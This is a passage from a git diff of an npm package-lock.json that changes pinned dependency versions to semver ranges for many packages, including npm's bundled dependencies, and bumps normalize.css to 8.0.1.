"sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", "dev": true, "requires": { - "chalk": "2.4.0" + "chalk": "^2.0.1" }, "dependencies": { "ansi-styles": { @@ -8990,7 +9035,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "1.9.0" + "color-convert": "^1.9.0" } }, "chalk": { @@ -8999,9 +9044,9 @@ "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", "dev": true, "requires": { - "ansi-styles": "3.2.1", - "escape-string-regexp": "1.0.5", - "supports-color": "5.4.0" + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" } }, "has-flag": { @@ -9016,7 +9061,7 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "3.0.0" + "has-flag": "^3.0.0" } } } @@ -9027,10 +9072,10 @@ "integrity": "sha512-IX5c3G/7fuTtdr0JjOT2OIR12aTESVhsH6cEsijloYwKgcPRlO6DgOU72v0UFhWcoV1HN6+M3dwT89qVPLXm0w==", "dev": true, "requires": { - "circular-json": "0.5.5", - "date-format": "1.2.0", - "debug": "3.1.0", - "rfdc": "1.1.2", + "circular-json": "^0.5.5", + "date-format": "^1.2.0", + "debug": "^3.1.0", + "rfdc": "^1.1.2", "streamroller": "0.7.0" }, "dependencies": { @@ -9063,8 +9108,8 @@ "integrity": "sha512-V/73qkPuJmx4BcBF19xPBr+0ZRVBhc4POxvZTZdMeXpJ4NItXSJ/MSwuFT0kQJlCbXvdlZoQQ/418bS1y9Jh6A==", "dev": true, "requires": { - "es6-symbol": "3.1.1", - "object.assign": "4.1.0" + "es6-symbol": "^3.1.1", + "object.assign": "^4.1.0" } }, "longest": { @@ -9078,7 +9123,7 @@ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.3.1.tgz", "integrity": "sha1-0aitM/qc4OcT1l/dCsi3SNR4yEg=", "requires": { - "js-tokens": "3.0.2" + "js-tokens": "^3.0.0" } }, "loud-rejection": { @@ -9087,8 +9132,8 @@ "integrity": "sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=", "dev": true, "requires": { - "currently-unhandled": "0.4.1", - "signal-exit": "3.0.2" + "currently-unhandled": "^0.4.1", + "signal-exit": "^3.0.0" } }, "lower-case": { @@ -9103,8 +9148,8 @@ "integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==", "dev": true, "requires": { - "pseudomap": "1.0.2", - "yallist": "2.1.2" + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" } }, "make-dir": { @@ -9113,7 +9158,7 @@ "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", "dev": true, "requires": { - "pify": "3.0.0" + "pify": "^3.0.0" }, "dependencies": { "pify": { @@ -9130,7 +9175,7 @@ "integrity": "sha512-UN1dNocxQq44IhJyMI4TU8phc2m9BddacHRPRjKGLYaF0jqd3xLz0jS0skpAU9WgYyoR4gHtUpzytNBS385FWQ==", "dev": true, "requires": { - "p-defer": "1.0.0" + "p-defer": "^1.0.0" } }, "map-cache": { @@ -9151,7 +9196,7 @@ "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", "dev": true, "requires": { - "object-visit": "1.0.1" + "object-visit": "^1.0.0" } }, "md5.js": { @@ -9160,9 +9205,9 @@ "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==", "dev": true, "requires": { - "hash-base": "3.0.4", - "inherits": "2.0.3", - "safe-buffer": "5.1.2" + "hash-base": "^3.0.0", + "inherits": "^2.0.1", + "safe-buffer": "^5.1.2" }, "dependencies": { "safe-buffer": { @@ -9185,7 +9230,7 @@ "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=", "dev": true, "requires": { - "mimic-fn": "1.2.0" + "mimic-fn": "^1.0.0" } }, "memory-fs": { @@ -9194,8 +9239,8 @@ "integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=", "dev": true, "requires": { - "errno": "0.1.7", - "readable-stream": "2.3.6" + "errno": "^0.1.3", + "readable-stream": "^2.0.1" }, "dependencies": { "isarray": { @@ -9216,13 +9261,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -9231,7 +9276,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -9242,16 +9287,16 @@ "integrity": "sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=", "dev": true, "requires": { - "camelcase-keys": "2.1.0", - "decamelize": "1.2.0", - "loud-rejection": "1.6.0", - "map-obj": "1.0.1", - "minimist": "1.2.0", - "normalize-package-data": "2.4.0", - "object-assign": "4.1.1", - "read-pkg-up": "1.0.1", - "redent": "1.0.0", - "trim-newlines": "1.0.0" + "camelcase-keys": "^2.0.0", + "decamelize": "^1.1.2", + "loud-rejection": "^1.0.0", + "map-obj": "^1.0.1", + "minimist": "^1.1.3", + "normalize-package-data": "^2.3.4", + "object-assign": "^4.0.1", + "read-pkg-up": "^1.0.1", + "redent": "^1.0.0", + "trim-newlines": "^1.0.0" } }, "merge-descriptors": { @@ -9273,19 +9318,19 @@ "dev": true, "optional": true, "requires": { - "arr-diff": "2.0.0", - "array-unique": "0.2.1", - "braces": "1.8.5", - "expand-brackets": "0.1.5", - "extglob": "0.3.2", - "filename-regex": "2.0.1", - "is-extglob": "1.0.0", - "is-glob": "2.0.1", - "kind-of": "3.2.2", - "normalize-path": "2.1.1", - "object.omit": "2.0.1", - "parse-glob": "3.0.4", - "regex-cache": "0.4.3" + "arr-diff": "^2.0.0", + "array-unique": "^0.2.1", + "braces": "^1.8.2", + "expand-brackets": "^0.1.4", + "extglob": "^0.3.1", + "filename-regex": "^2.0.0", + "is-extglob": "^1.0.0", + "is-glob": "^2.0.1", + "kind-of": "^3.0.2", + "normalize-path": "^2.0.1", + "object.omit": "^2.0.0", + "parse-glob": "^3.0.4", + "regex-cache": "^0.4.2" } }, "miller-rabin": { @@ -9294,8 +9339,8 @@ "integrity": "sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==", "dev": true, "requires": { - "bn.js": "4.11.8", - "brorand": "1.1.0" + "bn.js": "^4.0.0", + "brorand": "^1.0.1" } }, "mime": { @@ -9316,7 +9361,7 @@ "integrity": "sha1-K4WKUuXs1RbbiXrCvodIeDBpjiM=", "dev": true, "requires": { - "mime-db": "1.29.0" + "mime-db": "~1.29.0" } }, "mimic-fn": { @@ -9331,7 +9376,7 @@ "integrity": "sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=", "dev": true, "requires": { - "dom-walk": "0.1.1" + "dom-walk": "^0.1.0" } }, "minimalistic-assert": { @@ -9352,7 +9397,7 @@ "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", "dev": true, "requires": { - "brace-expansion": "1.1.8" + "brace-expansion": "^1.1.7" } }, "minimist": { @@ -9367,16 +9412,16 @@ "integrity": "sha512-zHo8v+otD1J10j/tC+VNoGK9keCuByhKovAvdn74dmxJl9+mWHnx6EMsDN4lgRoMI/eYo2nchAxniIbUPb5onw==", "dev": true, "requires": { - "concat-stream": "1.6.0", - "duplexify": "3.6.0", - "end-of-stream": "1.4.1", - "flush-write-stream": "1.0.3", - "from2": "2.3.0", - "parallel-transform": "1.1.0", - "pump": "2.0.1", - "pumpify": "1.5.1", - "stream-each": "1.2.3", - "through2": "2.0.3" + "concat-stream": "^1.5.0", + "duplexify": "^3.4.2", + "end-of-stream": "^1.1.0", + "flush-write-stream": "^1.0.0", + "from2": "^2.1.0", + "parallel-transform": "^1.1.0", + "pump": "^2.0.1", + "pumpify": "^1.3.3", + "stream-each": "^1.1.0", + "through2": "^2.0.0" } }, "mixin-deep": { @@ -9385,8 +9430,8 @@ "integrity": "sha512-8ZItLHeEgaqEvd5lYBXfm4EZSFCX29Jb9K+lAHhDKzReKBQKj3R+7NOF6tjqYi9t4oI8VUfaWITJQm86wnXGNQ==", "dev": true, "requires": { - "for-in": "1.0.2", - "is-extendable": "1.0.1" + "for-in": "^1.0.2", + "is-extendable": "^1.0.1" }, "dependencies": { "is-extendable": { @@ -9395,7 +9440,7 @@ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", "dev": true, "requires": { - "is-plain-object": "2.0.4" + "is-plain-object": "^2.0.4" } } } @@ -9451,12 +9496,12 @@ "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", "dev": true, "requires": { - "fs.realpath": "1.0.0", - "inflight": "1.0.6", - "inherits": "2.0.3", - "minimatch": "3.0.4", - "once": "1.4.0", - "path-is-absolute": "1.0.1" + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" } }, "has-flag": { @@ -9471,7 +9516,7 @@ "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "3.0.0" + "has-flag": "^3.0.0" } } } @@ -9487,12 +9532,12 @@ "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=", "dev": true, "requires": { - "aproba": "1.2.0", - "copy-concurrently": "1.0.5", - "fs-write-stream-atomic": "1.0.10", - "mkdirp": "0.5.1", - "rimraf": "2.6.2", - "run-queue": "1.0.3" + "aproba": "^1.1.1", + "copy-concurrently": "^1.0.0", + "fs-write-stream-atomic": "^1.0.8", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.3" } }, "ms": { @@ -9507,8 +9552,8 @@ "integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==", "dev": true, "requires": { - "dns-packet": "1.3.1", - "thunky": "1.0.2" + "dns-packet": "^1.3.1", + "thunky": "^1.0.2" } }, "multicast-dns-service-types": { @@ -9536,17 +9581,17 @@ "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", "dev": true, "requires": { - "arr-diff": "4.0.0", - "array-unique": "0.3.2", - "define-property": "2.0.2", - "extend-shallow": "3.0.2", - "fragment-cache": "0.2.1", - "is-windows": "1.0.2", - "kind-of": "6.0.2", - "object.pick": "1.3.0", - "regex-not": "1.0.2", - "snapdragon": "0.8.2", - "to-regex": "3.0.2" + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "fragment-cache": "^0.2.1", + "is-windows": "^1.0.2", + "kind-of": "^6.0.2", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" }, "dependencies": { "arr-diff": { @@ -9605,7 +9650,7 @@ "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==", "dev": true, "requires": { - "lower-case": "1.1.4" + "lower-case": "^1.1.1" } }, "node-forge": { @@ -9620,28 +9665,28 @@ "integrity": "sha512-5AzFzdoIMb89hBGMZglEegffzgRg+ZFoUmisQ8HI4j1KDdpx13J0taNp2y9xPbur6W61gepGDDotGBVQ7mfUCg==", "dev": true, "requires": { - "assert": "1.4.1", - "browserify-zlib": "0.2.0", - "buffer": "4.9.1", - "console-browserify": "1.1.0", - "constants-browserify": "1.0.0", - "crypto-browserify": "3.12.0", - "domain-browser": "1.2.0", - "events": "1.1.1", - "https-browserify": "1.0.0", - "os-browserify": "0.3.0", + "assert": "^1.1.1", + "browserify-zlib": "^0.2.0", + "buffer": "^4.3.0", + "console-browserify": "^1.1.0", + "constants-browserify": "^1.0.0", + "crypto-browserify": "^3.11.0", + "domain-browser": "^1.1.1", + "events": "^1.0.0", + "https-browserify": "^1.0.0", + "os-browserify": "^0.3.0", "path-browserify": "0.0.0", - "process": "0.11.10", - "punycode": "1.4.1", - "querystring-es3": "0.2.1", - "readable-stream": "2.3.6", - "stream-browserify": "2.0.1", - "stream-http": "2.8.3", - "string_decoder": "1.1.1", - "timers-browserify": "2.0.10", + "process": "^0.11.10", + "punycode": "^1.2.4", + "querystring-es3": "^0.2.0", + "readable-stream": "^2.3.3", + "stream-browserify": "^2.0.1", + "stream-http": "^2.7.2", + "string_decoder": "^1.0.0", + "timers-browserify": "^2.0.4", "tty-browserify": "0.0.0", - "url": "0.11.0", - "util": "0.10.4", + "url": "^0.11.0", + "util": "^0.10.3", "vm-browserify": "0.0.4" }, "dependencies": { @@ -9669,13 +9714,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -9684,7 +9729,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -9695,8 +9740,8 @@ "integrity": "sha1-2o69nzr51nYJGbJ9nNyAkqczKFk=", "dev": true, "requires": { - "inherits": "2.0.3", - "readable-stream": "1.0.34" + "inherits": "^2.0.1", + "readable-stream": "~1.0.31" } }, "nopt": { @@ -9705,7 +9750,7 @@ "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", "dev": true, "requires": { - "abbrev": "1.0.9" + "abbrev": "1" } }, "normalize-package-data": { @@ -9714,10 +9759,10 @@ "integrity": "sha512-9jjUFbTPfEy3R/ad/2oNbKtW9Hgovl5O1FvFWKkKblNXoN/Oou6+9+KKohPK13Yc3/TyunyWhJp6gvRNR/PPAw==", "dev": true, "requires": { - "hosted-git-info": "2.7.1", - "is-builtin-module": "1.0.0", - "semver": "4.3.6", - "validate-npm-package-license": "3.0.4" + "hosted-git-info": "^2.1.4", + "is-builtin-module": "^1.0.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" } }, "normalize-path": { @@ -9726,145 +9771,145 @@ "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", "dev": true, "requires": { - "remove-trailing-separator": "1.0.2" + "remove-trailing-separator": "^1.0.1" } }, "normalize.css": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/normalize.css/-/normalize.css-8.0.0.tgz", - "integrity": "sha512-iXcbM3NWr0XkNyfiSBsoPezi+0V92P9nj84yVV1/UZxRUrGczgX/X91KMAGM0omWLY2+2Q1gKD/XRn4gQRDB2A==" + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/normalize.css/-/normalize.css-8.0.1.tgz", + "integrity": "sha512-qizSNPO93t1YUuUhP22btGOo3chcvDFqFaj2TRybP0DMxkHOCTYwp3n34fel4a31ORXy4m1Xq0Gyqpb5m33qIg==" }, "npm": { "version": "6.4.1", "resolved": "https://registry.npmjs.org/npm/-/npm-6.4.1.tgz", "integrity": "sha512-mXJL1NTVU136PtuopXCUQaNWuHlXCTp4McwlSW8S9/Aj8OEPAlSBgo8og7kJ01MjCDrkmqFQTvN5tTEhBMhXQg==", "requires": { - "JSONStream": "1.3.4", - "abbrev": "1.1.1", - "ansicolors": "0.3.2", - "ansistyles": "0.1.3", - "aproba": "1.2.0", - "archy": "1.0.0", - "bin-links": "1.1.2", - "bluebird": "3.5.1", - "byte-size": "4.0.3", - "cacache": "11.2.0", - "call-limit": "1.1.0", - "chownr": "1.0.1", - "ci-info": "1.4.0", - "cli-columns": "3.1.2", - "cli-table3": "0.5.0", - "cmd-shim": "2.0.2", - "columnify": "1.5.4", - "config-chain": "1.1.11", - "debuglog": "1.0.1", - "detect-indent": "5.0.0", - "detect-newline": "2.1.0", - "dezalgo": "1.0.3", - "editor": "1.0.0", - "figgy-pudding": "3.4.1", - "find-npm-prefix": "1.0.2", - "fs-vacuum": "1.2.10", - "fs-write-stream-atomic": "1.0.10", - "gentle-fs": "2.0.1", - "glob": "7.1.2", - "graceful-fs": "4.1.11", - "has-unicode": "2.0.1", - "hosted-git-info": "2.7.1", - "iferr": "1.0.2", - "imurmurhash": "0.1.4", - "inflight": "1.0.6", - "inherits": "2.0.3", - "ini": "1.3.5", - "init-package-json": "1.10.3", - "is-cidr": "2.0.6", - "json-parse-better-errors": "1.0.2", - "lazy-property": "1.0.0", - "libcipm": "2.0.2", - "libnpmhook": "4.0.1", - "libnpx": "10.2.0", - "lock-verify": "2.0.2", - "lockfile": "1.0.4", - "lodash._baseindexof": "3.1.0", - "lodash._baseuniq": "4.6.0", - "lodash._bindcallback": "3.0.1", - "lodash._cacheindexof": "3.0.2", - "lodash._createcache": "3.1.2", - "lodash._getnative": "3.9.1", - "lodash.clonedeep": "4.5.0", - "lodash.restparam": "3.6.1", - "lodash.union": "4.6.0", - "lodash.uniq": "4.5.0", - "lodash.without": "4.4.0", - "lru-cache": "4.1.3", - "meant": "1.0.1", - "mississippi": "3.0.0", - "mkdirp": "0.5.1", - "move-concurrently": "1.0.1", - "node-gyp": "3.8.0", - "nopt": "4.0.1", - "normalize-package-data": "2.4.0", - "npm-audit-report": "1.3.1", - "npm-cache-filename": "1.0.2", - "npm-install-checks": "3.0.0", - "npm-lifecycle": "2.1.0", - "npm-package-arg": "6.1.0", - "npm-packlist": "1.1.11", - "npm-pick-manifest": "2.1.0", - "npm-profile": "3.0.2", - "npm-registry-client": "8.6.0", - "npm-registry-fetch": "1.1.0", - "npm-user-validate": "1.0.0", - "npmlog": "4.1.2", - "once": "1.4.0", - "opener": "1.5.0", - "osenv": "0.1.5", - "pacote": "8.1.6", - "path-is-inside": "1.0.2", - "promise-inflight": "1.0.1", - "qrcode-terminal": "0.12.0", - "query-string": "6.1.0", - "qw": "1.0.1", - "read": "1.0.7", - "read-cmd-shim": "1.0.1", - "read-installed": "4.0.3", - "read-package-json": "2.0.13", - "read-package-tree": "5.2.1", - "readable-stream": "2.3.6", - "readdir-scoped-modules": "1.0.2", - "request": "2.88.0", - "retry": "0.12.0", - "rimraf": "2.6.2", - "safe-buffer": "5.1.2", - "semver": "5.5.0", - "sha": "2.0.1", - "slide": "1.1.6", - "sorted-object": "2.0.1", - "sorted-union-stream": "2.1.3", - "ssri": "6.0.0", - "stringify-package": "1.0.0", - "tar": "4.4.6", - "text-table": "0.2.0", - "tiny-relative-date": "1.3.0", + "JSONStream": "^1.3.4", + "abbrev": "~1.1.1", + "ansicolors": "~0.3.2", + "ansistyles": "~0.1.3", + "aproba": "~1.2.0", + "archy": "~1.0.0", + "bin-links": "^1.1.2", + "bluebird": "~3.5.1", + "byte-size": "^4.0.3", + "cacache": "^11.2.0", + "call-limit": "~1.1.0", + "chownr": "~1.0.1", + "ci-info": "^1.4.0", + "cli-columns": "^3.1.2", + "cli-table3": "^0.5.0", + "cmd-shim": "~2.0.2", + "columnify": "~1.5.4", + "config-chain": "~1.1.11", + "debuglog": "*", + "detect-indent": "~5.0.0", + "detect-newline": "^2.1.0", + "dezalgo": "~1.0.3", + "editor": "~1.0.0", + "figgy-pudding": "^3.4.1", + "find-npm-prefix": "^1.0.2", + "fs-vacuum": "~1.2.10", + "fs-write-stream-atomic": "~1.0.10", + "gentle-fs": "^2.0.1", + "glob": "~7.1.2", + "graceful-fs": "~4.1.11", + "has-unicode": "~2.0.1", + "hosted-git-info": "^2.7.1", + "iferr": "^1.0.2", + "imurmurhash": "*", + "inflight": "~1.0.6", + "inherits": "~2.0.3", + "ini": "^1.3.5", + "init-package-json": "^1.10.3", + "is-cidr": "^2.0.6", + "json-parse-better-errors": "^1.0.2", + "lazy-property": "~1.0.0", + "libcipm": "^2.0.2", + "libnpmhook": "^4.0.1", + "libnpx": "^10.2.0", + "lock-verify": "^2.0.2", + "lockfile": "^1.0.4", + "lodash._baseindexof": "*", + "lodash._baseuniq": "~4.6.0", + "lodash._bindcallback": "*", + "lodash._cacheindexof": "*", + "lodash._createcache": "*", + "lodash._getnative": "*", + "lodash.clonedeep": "~4.5.0", + "lodash.restparam": "*", + "lodash.union": "~4.6.0", + "lodash.uniq": "~4.5.0", + "lodash.without": "~4.4.0", + "lru-cache": "^4.1.3", + "meant": "~1.0.1", + "mississippi": "^3.0.0", + "mkdirp": "~0.5.1", + "move-concurrently": "^1.0.1", + "node-gyp": "^3.8.0", + "nopt": "~4.0.1", + "normalize-package-data": "~2.4.0", + "npm-audit-report": "^1.3.1", + "npm-cache-filename": "~1.0.2", + "npm-install-checks": "~3.0.0", + "npm-lifecycle": "^2.1.0", + "npm-package-arg": "^6.1.0", + "npm-packlist": "^1.1.11", + "npm-pick-manifest": "^2.1.0", + "npm-profile": "^3.0.2", + "npm-registry-client": "^8.6.0", + "npm-registry-fetch": "^1.1.0", + "npm-user-validate": "~1.0.0", + "npmlog": "~4.1.2", + "once": "~1.4.0", + "opener": "^1.5.0", + "osenv": "^0.1.5", + "pacote": "^8.1.6", + "path-is-inside": "~1.0.2", + "promise-inflight": "~1.0.1", + "qrcode-terminal": "^0.12.0", + "query-string": "^6.1.0", + "qw": "~1.0.1", + "read": "~1.0.7", + "read-cmd-shim": "~1.0.1", + "read-installed": "~4.0.3", + "read-package-json": "^2.0.13", + "read-package-tree": "^5.2.1", + "readable-stream": "^2.3.6", + "readdir-scoped-modules": "*", + "request": "^2.88.0", + "retry": "^0.12.0", + "rimraf": "~2.6.2", + "safe-buffer": "^5.1.2", + "semver": "^5.5.0", + "sha": "~2.0.1", + "slide": "~1.1.6", + "sorted-object": "~2.0.1", + "sorted-union-stream": "~2.1.3", + "ssri": "^6.0.0", + "stringify-package": "^1.0.0", + "tar": "^4.4.6", + "text-table": "~0.2.0", + "tiny-relative-date": "^1.3.0", "uid-number": "0.0.6", - "umask": "1.1.0", - "unique-filename": "1.1.0", - "unpipe": "1.0.0", - "update-notifier": "2.5.0", - "uuid": "3.3.2", - "validate-npm-package-license": "3.0.4", - "validate-npm-package-name": "3.0.0", - "which": "1.3.1", - "worker-farm": "1.6.0", - "write-file-atomic": "2.3.0" + "umask": "~1.1.0", + "unique-filename": "~1.1.0", + "unpipe": "~1.0.0", + "update-notifier": "^2.5.0", + "uuid": "^3.3.2", + "validate-npm-package-license": "^3.0.4", + "validate-npm-package-name": "~3.0.0", + "which": "^1.3.1", + "worker-farm": "^1.6.0", + "write-file-atomic": "^2.3.0" }, "dependencies": { "JSONStream": { "version": "1.3.4", "bundled": true, "requires": { - "jsonparse": "1.3.1", - "through": "2.3.8" + "jsonparse": "^1.2.0", + "through": ">=2.2.7 <3" } }, "abbrev": { @@ -9875,31 +9920,31 @@ "version": "4.2.0", "bundled": true, "requires": { - "es6-promisify": "5.0.0" + "es6-promisify": "^5.0.0" } }, "agentkeepalive": { "version": "3.4.1", "bundled": true, "requires": { - "humanize-ms": "1.2.1" + "humanize-ms": "^1.2.1" } }, "ajv": { "version": "5.5.2", "bundled": true, "requires": { - "co": "4.6.0", - "fast-deep-equal": "1.1.0", - "fast-json-stable-stringify": "2.0.0", - "json-schema-traverse": "0.3.1" + "co": "^4.6.0", + "fast-deep-equal": "^1.0.0", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.3.0" } }, "ansi-align": { "version": "2.0.0", "bundled": true, "requires": { - "string-width": "2.1.1" + "string-width": "^2.0.0" } }, "ansi-regex": { @@ -9910,7 +9955,7 @@ "version": "3.2.1", "bundled": true, "requires": { - "color-convert": "1.9.1" + "color-convert": "^1.9.0" } }, "ansicolors": { @@ -9933,8 +9978,8 @@ "version": "1.1.4", "bundled": true, "requires": { - "delegates": "1.0.0", - "readable-stream": "2.3.6" + "delegates": "^1.0.0", + "readable-stream": "^2.0.6" } }, "asap": { @@ -9945,7 +9990,7 @@ "version": "0.2.4", "bundled": true, "requires": { - "safer-buffer": "2.1.2" + "safer-buffer": "~2.1.0" } }, "assert-plus": { @@ -9973,25 +10018,25 @@ "bundled": true, "optional": true, "requires": { - "tweetnacl": "0.14.5" + "tweetnacl": "^0.14.3" } }, "bin-links": { "version": "1.1.2", "bundled": true, "requires": { - "bluebird": "3.5.1", - "cmd-shim": "2.0.2", - "gentle-fs": "2.0.1", - "graceful-fs": "4.1.11", - "write-file-atomic": "2.3.0" + "bluebird": "^3.5.0", + "cmd-shim": "^2.0.2", + "gentle-fs": "^2.0.0", + "graceful-fs": "^4.1.11", + "write-file-atomic": "^2.3.0" } }, "block-stream": { "version": "0.0.9", "bundled": true, "requires": { - "inherits": "2.0.3" + "inherits": "~2.0.0" } }, "bluebird": { @@ -10002,20 +10047,20 @@ "version": "1.3.0", "bundled": true, "requires": { - "ansi-align": "2.0.0", - "camelcase": "4.1.0", - "chalk": "2.4.1", - "cli-boxes": "1.0.0", - "string-width": "2.1.1", - "term-size": "1.2.0", - "widest-line": "2.0.0" + "ansi-align": "^2.0.0", + "camelcase": "^4.0.0", + "chalk": "^2.0.1", + "cli-boxes": "^1.0.0", + "string-width": "^2.0.0", + "term-size": "^1.2.0", + "widest-line": "^2.0.0" } }, "brace-expansion": { "version": "1.1.11", "bundled": true, "requires": { - "balanced-match": "1.0.0", + "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, @@ -10043,20 +10088,20 @@ "version": "11.2.0", "bundled": true, "requires": { - "bluebird": "3.5.1", - "chownr": "1.0.1", - "figgy-pudding": "3.4.1", - "glob": "7.1.2", - "graceful-fs": "4.1.11", - "lru-cache": "4.1.3", - "mississippi": "3.0.0", - "mkdirp": "0.5.1", - "move-concurrently": "1.0.1", - "promise-inflight": "1.0.1", - "rimraf": "2.6.2", - "ssri": "6.0.0", - "unique-filename": "1.1.0", - "y18n": "4.0.0" + "bluebird": "^3.5.1", + "chownr": "^1.0.1", + "figgy-pudding": "^3.1.0", + "glob": "^7.1.2", + "graceful-fs": "^4.1.11", + "lru-cache": "^4.1.3", + "mississippi": "^3.0.0", + "mkdirp": "^0.5.1", + "move-concurrently": "^1.0.1", + "promise-inflight": "^1.0.1", + "rimraf": "^2.6.2", + "ssri": "^6.0.0", + "unique-filename": "^1.1.0", + "y18n": "^4.0.0" } }, "call-limit": { @@ -10079,9 +10124,9 @@ "version": "2.4.1", "bundled": true, "requires": { - "ansi-styles": "3.2.1", - "escape-string-regexp": "1.0.5", - "supports-color": "5.4.0" + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" } }, "chownr": { @@ -10096,7 +10141,7 @@ "version": "2.0.9", "bundled": true, "requires": { - "ip-regex": "2.1.0" + "ip-regex": "^2.1.0" } }, "cli-boxes": { @@ -10107,26 +10152,26 @@ "version": "3.1.2", "bundled": true, "requires": { - "string-width": "2.1.1", - "strip-ansi": "3.0.1" + "string-width": "^2.0.0", + "strip-ansi": "^3.0.1" } }, "cli-table3": { "version": "0.5.0", "bundled": true, "requires": { - "colors": "1.1.2", - "object-assign": "4.1.1", - 